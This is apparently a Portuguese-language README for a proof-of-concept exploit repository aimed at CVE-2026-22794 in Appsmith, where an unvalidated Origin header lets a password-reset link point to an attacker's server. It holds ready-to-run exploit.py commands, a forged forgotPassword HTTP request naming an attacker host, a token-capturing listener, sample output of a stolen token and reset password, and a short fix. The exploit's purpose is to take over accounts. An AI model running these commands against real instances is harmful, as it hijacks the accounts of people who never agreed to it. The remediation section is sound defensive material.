
🔴 CVE-2026-22794 - Appsmith Redefinição de Senha com Assunção de Conta via Injeção de Cabeçalho Origin | PoC Exploit + Template Nuclei
Sequestro de Link de Redefinição de Senha via Manipulação do Cabeçalho Origin
Este repositório contém uma Prova de Conceito (PoC) de exploração para CVE-2026-22794, uma vulnerabilidade crítica no Appsmith que permite que atacantes sequestrem tokens de redefinição de senha e obtenham controle total da conta.
| Campo | Valor |
|---|
| ID CVE | CVE-2026-22794 |
| Software Afetado | Appsmith (versões anteriores ao patch) |
| Tipo de Vulnerabilidade | Injeção de Cabeçalho Origin |
| Impacto | Controle Total da Conta |
| Pontuação CVSS | 9.1 (Crítico) |
| Vetor de Ataque | Rede |
| Complexidade do Ataque | Baixa |
| Privilégios Necessários | Nenhum |
| Interação do Usuário | Necessária (vítima clica no link) |
O Appsmith usa o cabeçalho HTTP Origin sem validação para construir URLs de redefinição de senha e verificação de e-mail. O código vulnerável atribui diretamente o cabeçalho Origin à URL base de redefinição de senha:
userPasswordDTO.setBaseUrl(originHeader);
Isso permite que um atacante:
┌─────────────────────────────────────────────────────────────────┐
│ FLUXO DO ATAQUE │
└─────────────────────────────────────────────────────────────────┘
┌──────────┐ ┌──────────┐ ┌──────────┐
│ ATACANTE │ │ APPSMITH │ │ VÍTIMA │
└────┬─────┘ └────┬─────┘ └────┬─────┘
│ │ │
│ 1. POST /forgotPassword │ │
│ Origin: attacker.com │ │
│ email: [email protected] │ │
│──────────────────────────────>│ │
│ │ │
│ │ 2. Envia e-mail com │
│ │ attacker.com/reset?token │
│ │──────────────────────────────>│
│ │ │
│ 3. Vítima clica no link │ │
│<──────────────────────────────────────────────────────────────│
│ │ │
│ 4. Token capturado! │ │
│ │ │
│ 5. POST /resetPassword │ │
│ token: STOLEN_TOKEN │ │
│ password: attacker123 │ │
│──────────────────────────────>│ │
│ │ │
│ 6. CONTROLE DA CONTA! ✓ │ │
│ │ │
# Clonar o repositório
git clone https://github.com/MalikHamza7/CVE-2026-22794-POC
cd CVE-2026-22794-POC
# Instalar dependências
pip install -r requirements.txt
python exploit.py --target https://appsmith.target.com --check
python exploit.py --listen --port 8080
python exploit.py \
--target https://appsmith.target.com \
--email [email protected] \
--attacker-url https://your-server.com
python exploit.py \
--target https://appsmith.target.com \
--email [email protected] \
--attacker-url https://your-server.com \
--listen --port 8080
python exploit.py \
--target https://appsmith.target.com \
--reset-token CAPTURED_TOKEN \
--new-password "NewP@ssw0rd!"
POST /api/v1/users/forgotPassword HTTP/1.1
Host: appsmith.target.com
Origin: https://attacker-server.com
Content-Type: application/json
{
"email": "[email protected]"
}
Link de Redefinição de Senha: https://attacker-server.com/user/resetPassword?token=abc123xyz...
[+] SOLICITAÇÃO RECEBIDA CAPTURADA!
[*] Caminho: /user/resetPassword?token=abc123xyz789...
[!!!] TOKEN DE REDEFINIÇÃO DE SENHA CAPTURADO!
[!!!] Token: abc123xyz789...
[+] CONTROLE DA CONTA BEM-SUCEDIDO!
[+] A senha foi redefinida para: NewP@ssw0rd!
Organizações que usam o Appsmith devem:
// ❌ CÓDIGO VULNERÁVEL
userPasswordDTO.setBaseUrl(originHeader);
// ✅ CÓDIGO SEGURO
String configuredBaseUrl = applicationConfiguration.getBaseUrl();
// Ou validar contra lista de permissões
if (!allowedOrigins.contains(originHeader)) {
throw new InvalidOriginException("Cabeçalho origin inválido");
}
userPasswordDTO.setBaseUrl(configuredBaseUrl);
CVE-2026-22794/
├── README.md # Este arquivo
├── exploit.py # Script principal de exploração
├── requirements.txt # Dependências Python
├── LICENSE # Licença MIT
└── docs/
└── technical_analysis.md # Análise técnica detalhada da vulnerabilidade
Esta ferramenta é fornecida apenas para testes de segurança autorizados e fins educacionais.
Pesquisador de Segurança
Este projeto é licenciado sob a Licença MIT - consulte o arquivo LICENSE para obter detalhes.
⭐ Se você achou isso útil, por favor, dê uma estrela no repositório! ⭐